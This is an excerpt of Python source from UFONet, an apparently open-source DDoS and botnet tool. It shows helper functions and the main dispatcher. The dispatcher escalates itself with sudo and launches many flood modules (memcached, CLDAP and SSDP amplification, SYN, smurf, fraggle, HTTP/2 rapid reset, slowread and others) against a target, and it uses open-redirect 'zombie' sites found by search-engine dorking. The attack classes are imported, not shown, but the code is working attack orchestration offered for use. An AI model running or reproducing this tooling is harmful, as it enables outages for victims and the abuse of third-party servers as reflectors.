  275. for i, (lr, rr) in enumerate(rows):
  276. ai = i + 3
  277. left_art = alien[ai] if ai < len(alien) else " " * 48
  278. print(left_art + cell(lr, rr))
  279. ai = len(rows) + 3
  280. left_art = alien[ai] if ai < len(alien) else " " * 48
  281. print(left_art + sep)
  282. ai += 1
  283. left_art = alien[ai] if ai < len(alien) else " " * 48
  284. empty_line = "||" + (" " * (L + 1 + R)) + "||"
  285. print(left_art + empty_line)
  286. ai += 1
  287. left_art = alien[ai] if ai < len(alien) else " " * 48
  288. url = " -> [ UFONet: https://ufonet.03c8.net ] <-"
  289. url_line = "||" + url.center(L + 1 + R) + "||"
  290. print(left_art + url_line)
  291. info = " + Class: PSYoPs / " + str(self.mothership_model) + " +"
  292. info = info.ljust(48)
  293. print(info + empty_line)
  294. print((" " * 48) + sep)
  295. print("")
  296. def banner(self):
  297. print('='*75, "\n")
  298. print("888 888 8888888888 .d88888b. 888b 888 888 ")
  299. print("888 888 888 d88P Y888b 8888b 888 888 ")
  300. print("888 888 888 888 888 88888b 888 888 ")
  301. print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
  302. print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
  303. print("888 888 888 888 888 888 Y88888 88888888 888 ")
  304. print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
  305. print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
  306. print(self.optionParser.description, "\n")
  307. print(self.optionParser.motto, "\n")
  308. print('='*75)
  309. def generate_exit_msg(self):
  310. self.exit_msg = "Generating random exit... \n\n"
  311. try:
  312. f = open(self.misc_file)
  313. m = f.readlines()
  314. f.close()
  315. self.exit_msg += " -> "+str(random.choice(m).strip())
  316. except:
  317. self.exit_msg += " -> Donate BTC (Bitcoin) to keep #UFONet (https://ufonet.03c8.net) strong!"
  318. def AI(self):
  319. try:
  320. import turtle as AI
  321. print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
  322. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  323. bg = random.choice(colors).strip()
  324. t = AI.Pen()
  325. AI.bgcolor(bg)
  326. r = random.randrange(100,100000)
  327. for x in range(r):
  328. t.pencolor(colors[x%6])
  329. w = random.randrange(100,1000)
  330. t.width(x/w + 1)
  331. t.forward(x)
  332. l = random.randrange(50,1000)
  333. t.left(l)
  334. except:
  335. print("[AI] %!$1#9#84#~... -> [Exiting!]")
  336. pass
  337. def round_float(self, num):
  338. return str(int(round(num, -1)))[2] # black magic
  339. def _report_bug_hint(self, include_results=False):
  340. print('-' * 60)
  341. print(" [AI] Something seems off. If you think this is a bug,")
  342. print(" please open an issue at:")
  343. print(" https://github.com/epsylon/ufonet/issues/new?template=bug_report.md")
  344. print(" Use the local template as guidance:")
  345. print(" docs/.github/ISSUE_TEMPLATE/bug_report.md")
  346. if include_results:
  347. print(" Attach the test logs from:")
  348. print(" test/results/")
  349. print('-' * 60 + "\n")
  350. def _dump_bug_report_template(self, runner_stdout):
  351. import platform
  352. version = "2.0 (R3DST4R)"
  353. try:
  354. with open(os.path.join('docs', 'VERSION'), 'r', encoding='utf-8') as f:
  355. last = [l.strip() for l in f.readlines() if l.strip() and not l.strip().startswith(('Date', '-'))]
  356. if last:
  357. version = last[-1]
  358. except Exception:
  359. pass
  360. failed = []
  361. for line in (runner_stdout or '').splitlines():
  362. m = re.match(r'\[FAIL\]\s+(\S+).*?->\s+(\S+)', line)
  363. if m:
  364. failed.append((m.group(1), m.group(2)))
  365. logs = []
  366. for name, path in failed:
  367. try:
  368. with open(path, 'r', encoding='utf-8', errors='replace') as f:
  369. body = f.read()
  370. except Exception as e:
  371. body = "(could not read log: " + str(e) + ")"
  372. if len(body) > 4000:
  373. body = body[:2000] + "\n\n...[truncated]...\n\n" + body[-2000:]
  374. logs.append((name, path, body))
  375. cmd = ' '.join(sys.argv) or './ufonet --check-ufonet'
  376. print("=" * 70)
  377. print(" [AI] Pre-filled bug_report.md (copy & paste into the GitHub issue body)")
  378. print("=" * 70)
  379. print()
  380. print("**Describe the bug**")
  381. print("`--test-ufonet` reported test failures.")
  382. print()
  383. print("**To Reproduce**")
  384. print("1. Run `" + cmd + "`")
  385. print("2. See failing test(s): " + ", ".join(n for n, _ in failed) if failed else "2. See output")
  386. print()
  387. print("**Expected behavior**")
  388. print("All tests in `test/run.sh` should pass.")
  389. print()
  390. print("**Running environment:**")
  391. print(" - UFONet version: " + version)
  392. print(" - Installation method: git")
  393. print(" - Operating system: " + platform.platform())
  394. print(" - Python version: " + sys.version.splitlines()[0])
  395. print()
  396. print("**Target details:**")
  397. print(" - Attacking techniques: n/a (self-test)")
  398. print(" - WAF/IPS: n/a")
  399. print()
  400. print("**Error details:**")
  401. print(" - Failing tests: " + (", ".join(n for n, _ in failed) if failed else "(see logs)"))
  402. for name, path, body in logs:
  403. print()
  404. print("<details><summary>" + name + " (" + path + ")</summary>")
  405. print()
  406. print("```")
  407. print(body.rstrip())
  408. print("```")
  409. print()
  410. print("</details>")
  411. print()
  412. print("=" * 70)
  413. def show_mac_address(self):
  414. mac = getnode() # to get physical address
  415. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  416. return hex_mac
  417. def _public_ip_via_dns(self):
  418. try:
  419. import dns.resolver
  420. except ImportError:
  421. from core._ensure import ensure
  422. if ensure('dns.resolver', 'dnspython') is None:
  423. return None
  424. import dns.resolver
  425. from core._dns_pool import random_opendns
  426. try:
  427. r = dns.resolver.Resolver()
  428. r.nameservers = random_opendns()
  429. r.timeout = 3
  430. r.lifetime = 5
  431. for ans in r.resolve('myip.opendns.com', 'A'):
  432. ip = str(ans).strip()
  433. if re.match(r'^\d+\.\d+\.\d+\.\d+$', ip):
  434. return ip
  435. except Exception:
  436. pass
  437. return None
  438. def _public_ip_via_http(self):
  439. import urllib.request
  440. services = [self.check_ip_service1, self.check_ip_service2, self.check_ip_service3,
  441. 'https://checkip.amazonaws.com', 'https://ident.me', 'https://api64.ipify.org']
  442. random.shuffle(services)
  443. ip_re = re.compile(r'^\s*(\d+\.\d+\.\d+\.\d+)\s*$')
  444. for url in services:
  445. try:
  446. txt = urllib.request.urlopen(url, timeout=5, context=self.ctx).read().decode('utf-8', errors='replace')
  447. m = ip_re.match(txt)
  448. if m:
  449. return m.group(1)
  450. m2 = re.search(r'\d+\.\d+\.\d+\.\d+', txt)
  451. if m2:
  452. return m2.group(0)
  453. except Exception:
  454. continue
  455. return None
  456. def show_ips(self):
  457. from core._dns_pool import random_dummy_host
  458. try:
  459. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  460. s.connect((random_dummy_host(), 80))
  461. private_ip = s.getsockname()[0]
  462. s.close()
  463. except Exception:
  464. private_ip = "Unknown"
  465. public_ip = self._public_ip_via_dns() or self._public_ip_via_http() or "Unknown"
  466. return private_ip, public_ip
  467. def try_running(self, func, error, args=None):
  468. options = self.options
  469. args = args or []
  470. try:
  471. return func(*args)
  472. except Exception as e:
  473. if DEBUG == True:
  474. print(error, "error")
  475. traceback.print_exc()
  476. def checkeuid(self):
  477. try:
  478. euid = os.geteuid()
  479. except:
  480. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  481. print("[AI] "+self.exit_msg+"\n")
  482. sys.exit(2) # return
  483. return euid
  484. def start_ship_engine(self):
  485. self.agents = [] # generating available user-agents
  486. f = open(self.agents_file)
  487. agents = f.readlines()
  488. f.close()
  489. for agent in agents:
  490. self.agents.append(agent)
  491. self.user_agent = random.choice(self.agents).strip()
  492. self.search_engines = [] # available dorking search engines
  493. self.search_engines.append('bing')
  494. self.search_engines.append('duck')
  495. self.search_engines.append('brave')
  496. self.search_engines.append('mojeek')
  497. self.search_engines.append('yahoo')
  498. self.search_engines.append('startpage')
  499. self.search_engines.append('ecosia')
  500. if not os.path.exists("core/json/"): # create gui json cfg files folder
  501. os.mkdir("core/json/")
  502. self.banner_welcome()
  503. if getattr(getattr(self, 'options', None), 'web', False):
  504. if getattr(self, '_shipname_new', False):
  505. print("[Info] [AI] Generating ship name: " + str(self.mothership_id).strip().upper())
  506. else:
  507. print("[Info] [AI] Shipname: " + str(self.mothership_id).strip())
  508. self.update_flying_stats() # update flying time stats
  509. chargo = self.check_mothership_chargo() # check mothership chargo
  510. self.update_max_chargo(int(chargo)) # update max chargo stats
  511. self.generate_exit_msg() # generate random exit msg
  512. def hmac_sha1(self, key, msg):
  513. if len(key) > 20:
  514. key = sha1(key).digest()
  515. key += chr(0).encode('utf-8') * (20 - len(key))
  516. o_key_pad = key.translate(self.trans_5C)
  517. i_key_pad = key.translate(self.trans_36)
  518. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  519. def derive_keys(self, key):
  520. key = key.encode('utf-8')
  521. h = sha256()
  522. h.update(key)
  523. h.update('cipher'.encode('utf-8'))
  524. cipher_key = h.digest()
  525. h = sha256()
  526. h.update(key)
  527. h.update('mac'.encode('utf-8'))
  528. mac_key = h.digest()
  529. return (cipher_key, mac_key)
  530. def decrypt(self, key, text):
  531. KEY_SIZE = 32
  532. BLOCK_SIZE = 16
  533. MAC_SIZE = 20
  534. mode = AES.MODE_CFB
  535. try:
  536. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  537. except:
  538. try:
  539. padding = len(text) % 4
  540. if padding == 1:
  541. return ''
  542. elif padding == 2:
  543. text += b'=='
  544. elif padding == 3:
  545. text += b'='
  546. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  547. except TypeError:
  548. return None
  549. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  550. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  551. mac = iv_ciphertext_mac[-MAC_SIZE:]
  552. (cipher_key, mac_key) = self.derive_keys(key)
  553. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  554. if mac != expected_mac:
  555. return None
  556. aes = AES.new(cipher_key, mode, iv)
  557. self.decryptedtext = aes.decrypt(ciphertext)
  558. try:
  559. self.decryptedtext = self.decryptedtext.decode('utf-8')
  560. except:
  561. pass
  562. def run(self, opts=None):
  563. if opts:
  564. self.create_options(opts)
  565. options = self.options
  566. # start threads
  567. if not self.options.threads:
  568. self.options.threads=5 # default number of threads
  569. self.sem = threading.Semaphore(self.options.threads)
  570. # start ship engine
  571. self.start_ship_engine()
  572. # check proxy options
  573. proxy = options.proxy
  574. if options.proxy:
  575. try:
  576. pattern = r'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  577. m = re.search(pattern, proxy)
  578. if m is None:
  579. self.banner()
  580. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  581. return
  582. else:
  583. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  584. except Exception:
  585. self.banner()
  586. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  587. return
  588. # check tor connection
  589. if options.checktor:
  590. url = self.check_tor_url # TOR status checking site
  591. self.banner()
  592. print("\nSending request to: " + url + "\n")
  593. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  594. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  595. try:
  596. if options.proxy: # set proxy
  597. self.proxy_transport(options.proxy)
  598. req = urllib.request.Request(url, None, headers)
  599. tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  600. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  601. if not tor_reply or 'Congratulations' not in tor_reply:
  602. print("It seems that Tor is not properly set.\n")
  603. print(("IP address appears to be: " + your_ip + "\n"))
  604. else:
  605. print("Congratulations!. Tor is properly being used :-)\n")
  606. print(("IP address appears to be: " + your_ip + "\n"))
  607. except:
  608. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  609. sys.exit(2) # return
  610. # list available search engines
  611. if options.list_engines:
  612. self.banner()
  613. print("\n[Info] [AI] Available search engines for dorking ('--se <name>'):")
  614. print('='*48)
  615. for e in self.search_engines:
  616. print(" + " + e)
  617. print('='*48)
  618. print("\n[Info] [AI] Total: " + str(len(self.search_engines)) + " engines\n")
  619. print("[Info] [AI] Use 'all' or '--sa' to search across every engine. Use '--sax NAME' to exclude one.\n")
  620. return
  621. # run the UFONet test suite
  622. if options.testufonet:
  623. import subprocess
  624. self.banner()
  625. runner = os.path.join('test', 'run.sh')
  626. if not os.path.exists(runner):
  627. print("[Error] [AI] Test runner not found at: " + runner + " -> [Aborting!]\n")
  628. self._report_bug_hint()
  629. sys.exit(2)
  630. print("[Info] [AI] Launching UFONet test suite...")
  631. try:
  632. _date = subprocess.run(['date'], capture_output=True, text=True).stdout.strip()
  633. except Exception:
  634. _date = ''
  635. if _date:
  636. print("[Info] [AI] date: " + _date + "\n")
  637. else:
  638. print("")
  639. try:
  640. proc = subprocess.Popen(['bash', runner], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, bufsize=1)
  641. except FileNotFoundError:
  642. print("[Error] [AI] bash not available on this system -> [Aborting!]\n")
  643. self._report_bug_hint()
  644. sys.exit(2)
  645. _out_buf = []
  646. for _line in proc.stdout:
  647. sys.stdout.write(_line)
  648. sys.stdout.flush()
  649. _out_buf.append(_line)
  650. proc.wait()
  651. _full_out = ''.join(_out_buf)
  652. rc = proc.returncode
  653. print("\n[Info] [AI] Test suite finished with exit code: " + str(rc))
  654. if rc != 0:
  655. self._report_bug_hint(include_results=True)
  656. self._dump_bug_report_template(_full_out)
  657. else:
  658. print("[Info] [AI] All tests passed -> [OK!] :-)\n")
  659. sys.exit(rc)
  660. # run AES256+HMAC-SHA1 enc/dec tool
  661. if options.cryptomsg:
  662. from core.tools.crypter import Cipher
  663. print(" " + '='*44)
  664. print(r" ")
  665. print(r" ____...------------...____ ")
  666. print(r" _.-'' /o/__ ____ __ __ __ \o\_`'-._ ")
  667. print(r" .' / / \ \ '. ")
  668. print(r" |=====/o/======================\o\=====| ")
  669. print(r" |____/_/________..____..________\_\____| ")
  670. print(r" / _/ \_ <_o#\__/#o_> _/ \_ \ ")
  671. print(r" \__/_____\####/0213411543/####/_____\__/ ")
  672. print(r" |===\!/========================\!/===| ")
  673. print(r" | |=| .---. |=| | ")
  674. print(r" |===|o|=========/ \========|o|===| ")
  675. print(r" | | | \() ()/ | | | ")
  676. print(r" |===|o|======{'-.) A (.-'}=====|o|===| ")
  677. print(r" | __/ \__ '-.\\uuu/.-' __/ \__ | ")
  678. print(r" |==== .'.'^'.'.====|====.'.'^'.'.====| ")
  679. print(r" | _\o/ __ {.' __ '.} _ _\o/ _| ")
  680. print(r" '''''''''''''''''''''''''''''''''''''' ")
  681. print(r" + UFONet Crypter (AES256+HMAC-SHA1)")
  682. print(r" (140 plain text chars = 69 encrypted chars)")
  683. print(" " + '='*44 + "\n")
  684. text = str(input("-> Enter TEXT: "))
  685. input_key = str(input("\n-> Enter KEY: "))
  686. key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')
  687. c = Cipher(key, text)
  688. msg = c.encrypt()
  689. msg = msg.decode('utf-8')
  690. c.set_text(msg)
  691. print("\n" + " " + '-'*44)
  692. print('\n-> Ciphertext: [', msg, ']')
  693. print('\n-> Length:', len(msg))
  694. print("\n" + " " + '-'*44)
  695. print('\n-> Key (share it using SNEAKNET!):', input_key)
  696. print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")
  697. # run shownet tool
  698. if options.shownet:
  699. hex_mac = self.show_mac_address()
  700. self.banner()
  701. print("-> Network Info:")
  702. print('='*44)
  703. print("-"*35)
  704. print("|- MAC Address :", hex_mac)
  705. print("|" +"-"*34)
  706. private_ip, public_ip = self.show_ips()
  707. print("|- IP Private :", private_ip)
  708. print("|" +"-"*34)
  709. self.check_ip_services = [self.check_ip_service1, self.check_ip_service2] # shuffle check ip services
  710. self.check_ip_service = random.choice(self.check_ip_services).strip() # shuffle user-agent
  711. t = urlparse(self.check_ip_service)
  712. name_service = t.netloc
  713. print("|- IP Public :", public_ip +" | ["+name_service+"]")
  714. print("-"*35)
  715. print('='*75, "\n")
  716. return
  717. # run UFOSCAN tool (check EUID when running UFOSCAN)
  718. if options.xray:
  719. euid = self.checkeuid()
  720. if euid != 0:
  721. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  722. try:
  723. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  724. os.execlpe('sudo', *args)
  725. except:
  726. pass # keep running
  727. else:
  728. if not options.xrayps:
  729. options.xrayps = str("1-1024") # default scanning ports (1-1024)
  730. ports = options.xrayps
  731. try:
  732. portX, portY = ports.split('-')
  733. try:
  734. portX = int(portX)
  735. portY = int(portY)
  736. except:
  737. portX = 1
  738. portY = 1024
  739. print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")
  740. except:
  741. portX = 1
  742. portY = 1024
  743. print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")
  744. self.banner()
  745. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  746. print('='*22 + '\n')
  747. try:
  748. self.instance = UFOSCAN() # instance main class for scanning operations
  749. xray = self.instance.scanning(options.xray, portX, portY)
  750. except Exception as e:
  751. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  752. if DEBUG == True:
  753. traceback.print_exc()
  754. return
  755. # show code timeline
  756. if options.timeline:
  757. f = open(self.timeline_file, 'r')
  758. releases = f.readlines()
  759. f.close()
  760. self.banner()
  761. print("-> Code timeline:")
  762. print('='*44)
  763. print("-"*35)
  764. for r in releases:
  765. print(r.strip('\n'))
  766. print("-"*35)
  767. print('='*75, "\n")
  768. return
  769. # print some examples
  770. if options.examples:
  771. f = open(self.examples_file, 'r')
  772. examples = f.readlines()
  773. f.close()
  774. self.banner()
  775. for e in examples:
  776. print(e.strip('\n'))
  777. return
  778. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  779. if options.ufosyn:
  780. euid = self.checkeuid()
  781. if euid != 0:
  782. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  783. try:
  784. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  785. os.execlpe('sudo', *args)
  786. except:
  787. pass # keep running, but UFOSYN will fail
  788. # check EUID when running SPRAY (root required)
  789. if options.spray:
  790. euid = self.checkeuid()
  791. if euid != 0:
  792. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  793. try:
  794. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  795. os.execlpe('sudo', *args)
  796. except:
  797. pass # keep running, but SPRAY will fail
  798. # check EUID when running SMURF (root required)
  799. if options.smurf:
  800. euid = self.checkeuid()
  801. if euid != 0:
  802. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  803. try:
  804. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  805. os.execlpe('sudo', *args)
  806. except:
  807. pass # keep running, but SMURF will fail
  808. # check EUID when running FRAGGLE (root required)
  809. if options.fraggle:
  810. euid = self.checkeuid()
  811. if euid != 0:
  812. print("[Info] [AI] [Control] [FRAGGLE] (--fraggle) not started as root...\n")
  813. try:
  814. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  815. os.execlpe('sudo', *args)
  816. except:
  817. pass # keep running, but FRAGGLE will fail
  818. # check EUID when running XMAS (root required)
  819. if options.xmas:
  820. euid = self.checkeuid()
  821. if euid != 0:
  822. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  823. try:
  824. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  825. os.execlpe('sudo', *args)
  826. except:
  827. pass # keep running, but XMAS will fail
  828. # check EUID when running UFOACK (root required)
  829. if options.ufoack:
  830. euid = self.checkeuid()
  831. if euid != 0:
  832. print("[Info] [AI] [Control] [UFOACK] (--ufoack) not started as root...\n")
  833. try:
  834. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  835. os.execlpe('sudo', *args)
  836. except:
  837. pass # keep running, but UFOACK will fail
  838. # check EUID when running UFORST (root required)
  839. if options.uforst:
  840. euid = self.checkeuid()
  841. if euid != 0:
  842. print("[Info] [AI] [Control] [UFORST] (--uforst) not started as root...\n")
  843. try:
  844. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  845. os.execlpe('sudo', *args)
  846. except:
  847. pass # keep running, but UFORST will fail
  848. # check EUID when running DROPER (root required)
  849. if options.droper:
  850. euid = self.checkeuid()
  851. if euid != 0:
  852. print("[Info] [AI] [Control] [DROPER] (--droper) not started as root...\n")
  853. try:
  854. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  855. os.execlpe('sudo', *args)
  856. except:
  857. pass # keep running, but DROPER will fail
  858. # check EUID when running OVERLAP (root required)
  859. if options.overlap:
  860. euid = self.checkeuid()
  861. if euid != 0:
  862. print("[Info] [AI] [Control] [OVERLAP] (--overlap) not started as root...\n")
  863. try:
  864. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  865. os.execlpe('sudo', *args)
  866. except:
  867. pass # keep running, but OVERLAP will fail
  868. # check EUID when running PINGER (root required)
  869. if options.pinger:
  870. euid = self.checkeuid()
  871. if euid != 0:
  872. print("[Info] [AI] [Control] [PINGER] (--pinger) not started as root...\n")
  873. try:
  874. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  875. os.execlpe('sudo', *args)
  876. except:
  877. pass # keep running, but PINGER will fail
  878. # check EUID when running UFOUDP (root required)
  879. if options.ufoudp:
  880. euid = self.checkeuid()
  881. if euid != 0:
  882. print("[Info] [AI] [Control] [UFOUDP] (--ufoudp) not started as root...\n")
  883. try:
  884. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  885. os.execlpe('sudo', *args)
  886. except:
  887. pass # keep running, but UFOUDP will fail
  888. # check EUID when running NUKE (root required)
  889. if options.nuke:
  890. euid = self.checkeuid()
  891. if euid != 0:
  892. print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
  893. try:
  894. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  895. os.execlpe('sudo', *args)
  896. except:
  897. pass # keep running, but NUKE will fail
  898. # check EUID when running TACHYON (root required)
  899. if options.tachyon:
  900. euid = self.checkeuid()
  901. if euid != 0:
  902. print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
  903. try:
  904. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  905. os.execlpe('sudo', *args)
  906. except:
  907. pass # keep running, but TACHYON will fail
  908. # check EUID when running MONLIST (root required)
  909. if options.monlist:
  910. euid = self.checkeuid()
  911. if euid != 0:
  912. print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")
  913. try:
  914. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  915. os.execlpe('sudo', *args)
  916. except:
  917. pass # keep running, but MONLIST will fail
  918. # check EUID when running SNIPER (root required)
  919. if options.sniper:
  920. euid = self.checkeuid()
  921. if euid != 0:
  922. print("[Info] [AI] [Control] [SNIPER] (--sniper) not started as root...\n")
  923. try:
  924. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  925. os.execlpe('sudo', *args)
  926. except:
  927. pass # keep running, but SNIPER will fail
  928. # mod-only target: -m takes precedence over -a, and forces exit after firing (no zombie flow)
  929. _mod_target = getattr(options, 'mod_target', None)
  930. _attack_target = _mod_target or options.target
  931. _mods_fired = []
  932. _mods_skipped = []
  933. _banner_shown = False
  934. _zombie_thread = None
  935. _zombie_thread_started = False
  936. if options.target and not _mod_target and any([
  937. options.loic, options.loris, options.ufosyn, options.spray, options.smurf,
  938. options.fraggle, options.xmas, options.ufoack, options.uforst, options.droper,
  939. options.overlap, options.pinger, options.ufoudp, options.nuke, options.tachyon,
  940. options.monlist, options.sniper, options.dbstress,
  941. options.memcached, options.chargen, options.cldap, options.ssdp, options.qotd,
  942. options.tftp, options.wsdisco, options.coap, options.mssql, options.middlebox,
  943. options.finflood, options.arms, options.plex, options.netbios, options.ripv1,
  944. options.rapidreset, options.slowread, options.goldeneye,
  945. ]):
  946. try:
  947. from core._botnet import is_placeholder as _is_ph
  948. _zombies_parallel = self.extract_zombies() or []
  949. _zombies_parallel = [z for z in _zombies_parallel if not _is_ph(z)]
  950. if _zombies_parallel:
  951. options.target = self.parse_url_encoding(options.target)
  952. self.banner()
  953. _banner_shown = True
  954. def _zombie_run():
  955. try:
  956. self.attacking(_zombies_parallel, options.target)
  957. self.update_missions_stats()
  958. except Exception:
  959. if DEBUG:
  960. traceback.print_exc()
  961. _zombie_thread = threading.Thread(target=_zombie_run)
  962. _zombie_thread.daemon = True
  963. _zombie_thread.start()
  964. _zombie_thread_started = True
  965. else:
  966. self.banner()
  967. print("\n[Error] [AI] No real zombies found in botnet/zombies.txt (all placeholders).")
  968. print("[Info] [AI] Populate it via dorking: ./ufonet -s 'page.php?url=' (or --auto-search / --sd botnet/dorks.txt)")
  969. print("[Info] [AI] -> Skipping open-redirect attack; Extra Attack(s) (if any) will still run directly against the target.\n")
  970. except Exception:
  971. if DEBUG:
  972. traceback.print_exc()
  973. if _mod_target:
  974. _extras_present = any([
  975. options.loic, options.loris, options.ufosyn, options.spray, options.smurf,
  976. options.fraggle, options.xmas, options.ufoack, options.uforst, options.droper,
  977. options.overlap, options.pinger, options.ufoudp, options.nuke, options.tachyon,
  978. options.monlist, options.sniper, options.dbstress,
  979. options.memcached, options.chargen, options.cldap, options.ssdp, options.qotd,
  980. options.tftp, options.wsdisco, options.coap, options.mssql, options.middlebox,
  981. options.finflood, options.arms, options.plex, options.netbios, options.ripv1,
  982. options.rapidreset, options.slowread, options.goldeneye,
  983. ])
  984. if not _extras_present:
  985. self.banner()
  986. print('='*55)
  987. print("[Info] [AI] Mod-only mode -> [-m " + str(_mod_target) + "]")
  988. print('='*55)
  989. print("[Error] [AI] No Extra(s) attack provided. -m requires at least one mod -> [Aborting!]\n")
  990. print("[Info] [AI] Example: python3 ufonet -m 'http://target.com' --loic 50 --memcached 50\n")
  991. print("[Info] [AI] For the full list: python3 ufonet --help\n")
  992. sys.exit(2)
  993. from core._botnet import load_botnet_file as _has_real_targets
  994. def _has_real(path):
  995. entries, empty, all_ph = _has_real_targets(path)
  996. return entries and not empty and not all_ph
  997. # check EUID + dispatch for v2.0 raw-socket attack mods (root required, target via -a or -m)
  998. _v2_raw = [
  999. ('memcached', options.memcached, 'MEMCACHED', MEMCACHED),
  1000. ('chargen', options.chargen, 'CHARGEN', CHARGEN),
  1001. ('cldap', options.cldap, 'CLDAP', CLDAP),
  1002. ('ssdp', options.ssdp, 'SSDP', SSDP),
  1003. ('qotd', options.qotd, 'QOTD', QOTD),
  1004. ('tftp', options.tftp, 'TFTP', TFTP),
  1005. ('wsdisco', options.wsdisco, 'WSDISCO', WSDISCO),
  1006. ('coap', options.coap, 'COAP', COAP),
  1007. ('mssql', options.mssql, 'MSSQL', MSSQL),
  1008. ('middlebox', options.middlebox, 'MIDDLEBOX', MIDDLEBOX),
  1009. ('finflood', options.finflood, 'FINFLOOD', FINFLOOD),
  1010. ('arms', options.arms, 'ARMS', ARMS),
  1011. ('plex', options.plex, 'PLEX', PLEX),
  1012. ('netbios', options.netbios, 'NETBIOS', NETBIOS),
  1013. ('ripv1', options.ripv1, 'RIPV1', RIPV1),
  1014. ]
  1015. for _flag, _val, _label, _ in _v2_raw:
  1016. if _val:
  1017. if self.checkeuid() != 0:
  1018. print("[Info] [AI] [Control] [" + _label + "] (--" + _flag + ") not started as root...\n")
  1019. try:
  1020. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  1021. os.execlpe('sudo', *args)
  1022. except:
  1023. pass
  1024. _v2_raw_files = {
  1025. 'memcached': 'botnet/memcached.txt', 'chargen': 'botnet/chargen.txt',
  1026. 'cldap': 'botnet/cldap.txt', 'ssdp': 'botnet/ssdp.txt',
  1027. 'qotd': 'botnet/qotd.txt', 'tftp': 'botnet/tftp.txt',
  1028. 'wsdisco': 'botnet/wsdisco.txt', 'coap': 'botnet/coap.txt',
  1029. 'mssql': 'botnet/mssql.txt', 'middlebox': 'botnet/middlebox.txt',
  1030. 'arms': 'botnet/arms.txt', 'plex': 'botnet/plex.txt',
  1031. 'netbios': 'botnet/netbios.txt', 'ripv1': 'botnet/ripv1.txt',
  1032. 'finflood': None,
  1033. }
  1034. _v2_threads = []
  1035. for _flag, _val, _label, _cls in _v2_raw:
  1036. if _val and _attack_target:
  1037. try:
  1038. _rounds = int(_val)
  1039. except Exception:
  1040. _rounds = 101
  1041. if _rounds < 1:
  1042. _rounds = 101
  1043. _file = _v2_raw_files.get(_flag)
  1044. if _file and not _has_real(_file):
  1045. _mods_skipped.append(_flag)
  1046. _cls().attacking(_attack_target, _rounds)
  1047. continue
  1048. _mods_fired.append(_flag)
  1049. if not _banner_shown:
  1050. self.banner()
  1051. _banner_shown = True
  1052. _t = threading.Thread(target=_cls().attacking, args=(_attack_target, _rounds))
  1053. _t.daemon = True
  1054. _t.start()
  1055. _v2_threads.append((_flag, _t))
  1056. # v2.0 HTTP/TCP mods that do NOT need root (sockets, not raw)
  1057. _v2_http = [
  1058. ('rapidreset', options.rapidreset, 'RAPIDRESET', RAPIDRESET),
  1059. ('slowread', options.slowread, 'SLOWREAD', SLOWREAD),
  1060. ('goldeneye', options.goldeneye, 'GOLDENEYE', GOLDENEYE),
  1061. ]
